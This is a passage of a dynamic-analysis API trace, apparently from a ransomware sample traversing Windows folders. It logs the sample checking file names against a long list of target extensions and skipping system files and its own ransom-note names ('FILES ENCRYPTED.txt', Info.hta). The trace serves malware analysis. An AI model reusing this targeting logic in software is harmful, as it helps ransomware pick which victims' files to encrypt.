(lpString1=".bz2", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".c") returned 2 [0044.062] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0044.062] lstrlenW (lpString=".cdr") returned 4 [0044.062] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".cer") returned 4 [0044.063] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".cf") returned 3 [0044.063] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0044.063] lstrlenW (lpString=".cfc") returned 4 [0044.063] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".cfm") returned 4 [0044.063] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".cfml") returned 5 [0044.063] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0044.063] lstrlenW (lpString=".cfu") returned 4 [0044.063] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".chm") returned 4 [0044.063] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".cin") returned 4 [0044.063] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0044.063] lstrlenW (lpString=".class") returned 6 [0044.063] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0044.063] lstrlenW (lpString=".clx") returned 4 [0044.063] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".config") returned 7 [0044.064] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0044.064] lstrlenW (lpString=".cpp") returned 4 [0044.064] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".cr2") returned 4 [0044.064] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".crt") returned 4 [0044.064] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".crw") returned 4 [0044.064] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".cs") returned 3 [0044.064] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0044.064] lstrlenW (lpString=".css") returned 4 [0044.064] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".csv") returned 4 [0044.064] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".cub") returned 4 [0044.064] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0044.064] lstrlenW (lpString=".dae") returned 4 [0044.064] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dat") returned 4 [0044.065] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".db") returned 3 [0044.065] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0044.065] lstrlenW (lpString=".dbf") returned 4 [0044.065] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dbx") returned 4 [0044.065] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dc3") returned 4 [0044.065] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dcm") returned 4 [0044.065] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dcr") returned 4 [0044.065] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".der") returned 4 [0044.065] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dib") returned 4 [0044.065] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0044.065] lstrlenW (lpString=".dic") returned 4 [0044.065] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0044.066] lstrlenW (lpString=".dif") returned 4 [0044.066] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0044.066] lstrlenW (lpString=".divx") returned 5 [0044.066] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0044.066] lstrlenW (lpString=".djvu") returned 5 [0044.066] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0044.066] lstrlenW (lpString=".dng") returned 4 [0044.066] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0044.066] lstrlenW (lpString=".doc") returned 4 [0044.066] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0044.066] lstrlenW (lpString=".docm") returned 5 [0044.066] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0044.066] lstrlenW (lpString=".docx") returned 5 [0044.066] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0044.066] lstrlenW (lpString=".dot") returned 4 [0044.066] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0044.066] lstrlenW (lpString=".dotm") returned 5 [0044.066] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0044.066] lstrlenW (lpString=".dotx") returned 5 [0044.066] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0044.067] lstrlenW (lpString=".dpx") returned 4 [0044.067] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dqy") returned 4 [0044.067] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dsn") returned 4 [0044.067] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dt") returned 3 [0044.067] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0044.067] lstrlenW (lpString=".dtd") returned 4 [0044.067] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dwg") returned 4 [0044.067] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dwt") returned 4 [0044.067] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".dx") returned 3 [0044.067] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0044.067] lstrlenW (lpString=".dxf") returned 4 [0044.067] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0044.067] lstrlenW (lpString=".edml") returned 5 [0044.067] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0044.068] lstrlenW (lpString=".efd") returned 4 [0044.068] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".elf") returned 4 [0044.068] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".emf") returned 4 [0044.068] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".emz") returned 4 [0044.068] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".epf") returned 4 [0044.068] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".eps") returned 4 [0044.068] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0044.068] lstrlenW (lpString=".epsf") returned 5 [0044.068] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0044.068] lstrlenW (lpString=".epsp") returned 5 [0044.068] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0044.068] lstrlenW (lpString=".erf") returned 4 [0044.068] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0044.069] lstrlenW (lpString=".exr") returned 4 [0044.069] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0044.069] lstrlenW (lpString=".f4v") returned 4 [0044.069] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0044.069] lstrlenW (lpString=".fido") returned 5 [0044.069] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0044.069] lstrlenW (lpString=".flm") returned 4 [0044.069] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0044.069] lstrlenW (lpString=".flv") returned 4 [0044.070] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".frm") returned 4 [0044.070] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".fxg") returned 4 [0044.070] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".geo") returned 4 [0044.070] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".gif") returned 4 [0044.070] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".grs") returned 4 [0044.070] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".gz") returned 3 [0044.070] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0044.070] lstrlenW (lpString=".h") returned 2 [0044.070] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0044.070] lstrlenW (lpString=".hdr") returned 4 [0044.070] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".hpp") returned 4 [0044.070] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0044.070] lstrlenW (lpString=".hta") returned 4 [0044.070] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".htc") returned 4 [0044.071] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".htm") returned 4 [0044.071] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".html") returned 5 [0044.071] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0044.071] lstrlenW (lpString=".icb") returned 4 [0044.071] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".ics") returned 4 [0044.071] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".iff") returned 4 [0044.071] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".inc") returned 4 [0044.071] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0044.071] lstrlenW (lpString=".indd") returned 5 [0044.071] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0044.071] lstrlenW (lpString=".ini") returned 4 [0044.071] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0044.071] lstrlenW (lpString="desktop.ini") returned 11 [0044.072] lstrlenW (lpString=".NEWS") returned 5 [0044.072] lstrcmpiW (lpString1=".NEWS", lpString2="p.ini") returned -1 [0044.072] lstrlenW (lpString="desktop.ini") returned 11 [0044.072] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0044.072] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0044.072] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0044.072] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0044.072] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0044.072] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0044.072] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0044.072] lstrcmpiW (lpString1="driver.exe", lpString2="desktop.ini") returned 1 [0044.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.072] FindNextFileW (in: hFindFile=0x61b450, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0044.072] FindClose (in: hFindFile=0x61b450 | out: hFindFile=0x61b450) returned 1 [0044.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3611e80 | out: hHeap=0x5c0000) returned 1 [0044.072] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0044.073] FindClose (in: hFindFile=0x60c008 | out: hFindFile=0x60c008) returned 1 [0044.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3600e70 | out: hHeap=0x5c0000) returned 1 [0044.073] FindNextFileW (in: hFindFile=0x60bfc8, lpFindFileData=0x2edfd00 | out: lpFindFileData=0x2edfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0044.073] lstrlenW (lpString="C:\\Boot") returned 7 [0044.073] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0044.073] lstrlenW (lpString="Boot") returned 4 [0044.073] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0044.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3600e70 [0044.073] lstrlenW (lpString="C:\\Boot") returned 7 [0044.073] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x60c008 [0044.074] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.074] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0044.074] lstrlenW (lpString="BCD") returned 3 [0044.074] lstrlenW (lpString=".1cd") returned 4 [0044.074] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0044.074] lstrlenW (lpString=".3ds") returned 4 [0044.074] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0044.074] lstrlenW (lpString=".3fr") returned 4 [0044.075] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".3g2") returned 4 [0044.075] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".3gp") returned 4 [0044.075] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".7z") returned 3 [0044.075] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0044.075] lstrlenW (lpString=".accda") returned 6 [0044.075] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".accdb") returned 6 [0044.075] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".accdc") returned 6 [0044.075] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".accde") returned 6 [0044.075] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".accdt") returned 6 [0044.075] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".accdw") returned 6 [0044.075] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0044.075] lstrlenW (lpString=".adb") returned 4 [0044.076] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".adp") returned 4 [0044.076] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai") returned 3 [0044.076] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0044.076] lstrlenW (lpString=".ai3") returned 4 [0044.076] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai4") returned 4 [0044.076] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai5") returned 4 [0044.076] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai6") returned 4 [0044.076] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai7") returned 4 [0044.076] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".ai8") returned 4 [0044.076] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0044.076] lstrlenW (lpString=".anim") returned 5 [0044.077] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".arw") returned 4 [0044.077] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".as") returned 3 [0044.077] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0044.077] lstrlenW (lpString=".asa") returned 4 [0044.077] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".asc") returned 4 [0044.077] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".ascx") returned 5 [0044.077] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".asm") returned 4 [0044.077] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".asmx") returned 5 [0044.077] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".asp") returned 4 [0044.077] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".aspx") returned 5 [0044.077] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0044.077] lstrlenW (lpString=".asr") returned 4 [0044.077] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".asx") returned 4 [0044.078] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".avi") returned 4 [0044.078] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".avs") returned 4 [0044.078] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".backup") returned 7 [0044.078] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".bak") returned 4 [0044.078] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".bay") returned 4 [0044.078] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".bd") returned 3 [0044.078] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0044.078] lstrlenW (lpString=".bin") returned 4 [0044.078] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".bmp") returned 4 [0044.078] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0044.078] lstrlenW (lpString=".bz2") returned 4 [0044.079] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".c") returned 2 [0044.079] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0044.079] lstrlenW (lpString=".cdr") returned 4 [0044.079] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cer") returned 4 [0044.079] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cf") returned 3 [0044.079] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0044.079] lstrlenW (lpString=".cfc") returned 4 [0044.079] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cfm") returned 4 [0044.079] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cfml") returned 5 [0044.079] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cfu") returned 4 [0044.079] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".chm") returned 4 [0044.079] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0044.079] lstrlenW (lpString=".cin") returned 4 [0044.080] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".class") returned 6 [0044.080] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".clx") returned 4 [0044.080] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".config") returned 7 [0044.080] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".cpp") returned 4 [0044.080] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".cr2") returned 4 [0044.080] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".crt") returned 4 [0044.080] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".crw") returned 4 [0044.080] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0044.080] lstrlenW (lpString=".cs") returned 3 [0044.080] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0044.080] lstrlenW (lpString=".css") returned 4 [0044.080] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".csv") returned 4 [0044.081] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".cub") returned 4 [0044.081] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dae") returned 4 [0044.081] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dat") returned 4 [0044.081] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".db") returned 3 [0044.081] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0044.081] lstrlenW (lpString=".dbf") returned 4 [0044.081] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dbx") returned 4 [0044.081] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dc3") returned 4 [0044.081] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dcm") returned 4 [0044.081] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0044.081] lstrlenW (lpString=".dcr") returned 4 [0044.081] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".der") returned 4 [0044.082] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".dib") returned 4 [0044.082] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".dic") returned 4 [0044.082] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".dif") returned 4 [0044.082] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".divx") returned 5 [0044.082] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".djvu") returned 5 [0044.082] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".dng") returned 4 [0044.082] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".doc") returned 4 [0044.082] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".docm") returned 5 [0044.082] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0044.082] lstrlenW (lpString=".docx") returned 5 [0044.082] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dot") returned 4 [0044.083] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dotm") returned 5 [0044.083] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dotx") returned 5 [0044.083] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dpx") returned 4 [0044.083] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dqy") returned 4 [0044.083] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dsn") returned 4 [0044.083] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dt") returned 3 [0044.083] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0044.083] lstrlenW (lpString=".dtd") returned 4 [0044.083] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dwg") returned 4 [0044.083] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0044.083] lstrlenW (lpString=".dwt") returned 4 [0044.083] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".dx") returned 3 [0044.084] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0044.084] lstrlenW (lpString=".dxf") returned 4 [0044.084] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".edml") returned 5 [0044.084] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".efd") returned 4 [0044.084] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".elf") returned 4 [0044.084] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".emf") returned 4 [0044.084] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".emz") returned 4 [0044.084] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".epf") returned 4 [0044.084] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0044.084] lstrlenW (lpString=".eps") returned 4 [0044.084] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".epsf") returned 5 [0044.085] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".epsp") returned 5 [0044.085] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".erf") returned 4 [0044.085] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".exr") returned 4 [0044.085] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".f4v") returned 4 [0044.085] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0044.085] lstrlenW (lpString=".fido") returned 5 